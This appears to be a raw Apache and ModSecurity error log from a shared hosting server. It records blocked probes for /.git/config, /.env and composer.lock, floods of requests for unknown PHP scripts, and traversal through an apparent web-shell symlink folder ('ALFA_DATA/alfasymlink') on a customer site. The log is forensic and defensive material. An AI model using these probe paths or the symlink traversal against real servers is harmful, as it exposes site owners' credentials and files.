[Mon Oct 26 20:50:02.133691 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 54.84.93.8:7706] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:50:06.120171 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 3.212.205.90:6218] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:50:18.166626 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 54.157.99.244:26064] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:50:26.112635 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 18.213.102.186:40059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:50:30.812876 2026] [security2:error] [pid 3117426:tid 3117426] [client 199.165.159.105:7150] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at_1Vv5ZEdGRoel0j8ffXAAAAAg"]
[Mon Oct 26 20:50:30.813110 2026] [security2:error] [pid 3117426:tid 3117426] [client 199.165.159.105:7150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at_1Vv5ZEdGRoel0j8ffXAAAAAg"]
[Mon Oct 26 20:50:30.813522 2026] [security2:error] [pid 3117426:tid 3117426] [client 199.165.159.105:7150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at_1Vv5ZEdGRoel0j8ffXAAAAAg"]
[Mon Oct 26 20:50:38.118753 2026] [ssl:error] [pid 3130190:tid 3130190] (70014)End of file found: [client 3.210.223.61:37187] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:51:02.384634 2026] [ssl:error] [pid 3128624:tid 3128624] (5)Input/output error: [client 54.147.238.89:52360] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:51:32.628701 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:32.669859 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:32.710634 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:32.750215 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:32.791158 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:32.831230 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:32.871284 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:32.911305 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:32.951059 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:32.992582 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.032529 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.072231 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.111641 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.152000 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.191960 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.237277 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.277375 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.317904 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.365266 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.404674 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.447420 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.489630 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.529665 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.570714 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.610724 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.650112 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.690133 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.729747 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.769302 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.809102 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.848426 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.888656 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.928798 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:33.968628 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.008745 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.052378 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.098401 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.120090 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.216.86.144:2893] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:51:34.189411 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.233715 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.277159 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.317366 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.357505 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.397592 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.437111 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.477355 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.516980 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.556624 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.596423 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.636409 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.676573 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.716521 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.756118 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.795506 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.839041 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.878659 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.918332 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.958127 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:34.998327 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.041576 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.081451 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.244172 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.290215 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.330809 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.370984 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.411563 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.454554 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.474372 2026] [security2:error] [pid 3098114:tid 3098114] [client 20.151.218.88:6630] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/s1.php"] [unique_id "at_1l4U8RArHmY5bTmWvugAAAAY"]
[Mon Oct 26 20:51:35.474416 2026] [security2:error] [pid 3098114:tid 3098114] [client 20.151.218.88:6630] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/s1.php"] [unique_id "at_1l4U8RArHmY5bTmWvugAAAAY"]
[Mon Oct 26 20:51:35.517809 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.557694 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.598043 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.640887 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.681039 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.721928 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.763053 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:35.803758 2026] [proxy_fcgi:error] [pid 3122515:tid 3122515] [client 20.151.218.88:7119] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:51:38.217746 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 34.231.77.232:53186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/pcieport/new_id
[Mon Oct 26 20:51:42.335173 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 3.94.156.104:35673] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:51:46.185792 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 52.54.157.23:8487] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:51:50.129741 2026] [ssl:error] [pid 3130190:tid 3130190] (70014)End of file found: [client 100.28.133.214:23802] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:52:06.128685 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 35.171.117.160:63177] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:52:09.372418 2026] [security2:error] [pid 3098114:tid 3098114] [client 16.216.88.196:12288] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/soplanning/php56/"] [unique_id "at_1uYU8RArHmY5bTmWvwgAAAAY"]
[Mon Oct 26 20:52:09.372450 2026] [security2:error] [pid 3098114:tid 3098114] [client 16.216.88.196:12288] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/soplanning/php56/"] [unique_id "at_1uYU8RArHmY5bTmWvwgAAAAY"]
[Mon Oct 26 20:52:10.123333 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 3.218.35.239:11178] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:52:11.980468 2026] [security2:error] [pid 3117426:tid 3117426] [client 103.215.74.112:40660] ModSecurity: Warning. Matched phrase "/composer.lock" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/composer.lock"] [unique_id "at_1u_5ZEdGRoel0j8ffZwAAAAg"]
[Mon Oct 26 20:52:11.980701 2026] [security2:error] [pid 3117426:tid 3117426] [client 103.215.74.112:40660] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/composer.lock"] [unique_id "at_1u_5ZEdGRoel0j8ffZwAAAAg"]
[Mon Oct 26 20:52:11.981489 2026] [security2:error] [pid 3117426:tid 3117426] [client 103.215.74.112:40660] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_1u_5ZEdGRoel0j8ffZwAAAAg"]
[Mon Oct 26 20:52:22.329233 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.216.172.204:6094] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:52:23.749739 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 85.208.96.204:18638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/free_calls
[Mon Oct 26 20:52:38.259583 2026] [core:error] [pid 3130190:tid 3130190] (13)Permission denied: [client 34.234.200.207:49990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/device:17/subsystem/devices/device:03/physical_node/driver/remove_id
[Mon Oct 26 20:52:46.219712 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 44.216.172.204:46887] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:52:54.160104 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.45.77.169:26435] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:53:06.116359 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.157.84.74:49652] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:53:11.481904 2026] [authz_core:error] [pid 3130075:tid 3130075] [client 45.137.203.60:56229] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:53:18.179860 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 98.83.10.183:19846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory0/subsystem/drivers_probe
[Mon Oct 26 20:53:22.216220 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 44.223.193.255:50683] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:53:26.465795 2026] [ssl:error] [pid 3130190:tid 3130190] (5)Input/output error: [client 98.83.178.66:24506] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:53:34.318310 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 107.22.208.39:57285] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input5/device/subsystem/drivers/alarmtimer/bind
[Mon Oct 26 20:53:38.186697 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 34.234.200.207:16943] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:53:42.132148 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 23.23.137.202:47662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:53:54.153989 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 100.28.57.133:10142] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:53:57.084156 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 185.191.171.12:59858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/remote_node_defrag_ratio
[Mon Oct 26 20:53:58.191043 2026] [core:error] [pid 3130075:tid 3130075] (13)Permission denied: [client 18.211.148.239:8344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/remove
[Mon Oct 26 20:54:02.147485 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 184.72.84.154:4894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/drivers/battery/uevent
[Mon Oct 26 20:54:06.222843 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 98.84.131.195:15078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/rom
[Mon Oct 26 20:54:11.179273 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 85.208.96.206:21360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/cpu_partial
[Mon Oct 26 20:54:12.439713 2026] [core:crit] [pid 3117426:tid 3117426] (13)Permission denied: [client 66.132.172.47:35952] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 20:54:14.235806 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 184.73.68.20:33252] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:54:15.332301 2026] [authz_core:error] [pid 3122519:tid 3122519] [client 66.132.172.47:35966] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:54:19.983214 2026] [core:crit] [pid 3128624:tid 3128624] (13)Permission denied: [client 66.132.172.47:4000] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 20:54:30.161909 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 3.210.223.61:30735] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/new_id
[Mon Oct 26 20:54:30.593221 2026] [core:error] [pid 3130075:tid 3130075] (13)Permission denied: [client 216.244.66.250:39928] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tmp.tYl7rPfriU
[Mon Oct 26 20:54:34.123635 2026] [security2:error] [pid 3122519:tid 3122519] [client 18.214.186.220:61905] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:09/subsystem/devices/LNXCPU:00/physical_node/node0/memory20/power/"] [unique_id "at_2SsSPa3-L2OSmntaJGAAAAAI"]
[Mon Oct 26 20:54:34.123676 2026] [security2:error] [pid 3122519:tid 3122519] [client 18.214.186.220:61905] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:09/subsystem/devices/LNXCPU:00/physical_node/node0/memory20/power/"] [unique_id "at_2SsSPa3-L2OSmntaJGAAAAAI"]
[Mon Oct 26 20:54:41.416612 2026] [security2:error] [pid 3098116:tid 3098116] [client 43.153.85.46:60908] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimoagenda.php"] [unique_id "at_2UTS1e-yu7xYT1dr8rwAAAAk"]
[Mon Oct 26 20:54:42.153298 2026] [ssl:error] [pid 3130190:tid 3130190] (70014)End of file found: [client 100.24.167.60:55695] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:54:49.920923 2026] [security2:error] [pid 3084053:tid 3084053] [client 46.151.178.15:33346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at_2WfCtl1PgaN9A_9xN1gAAADQ"]
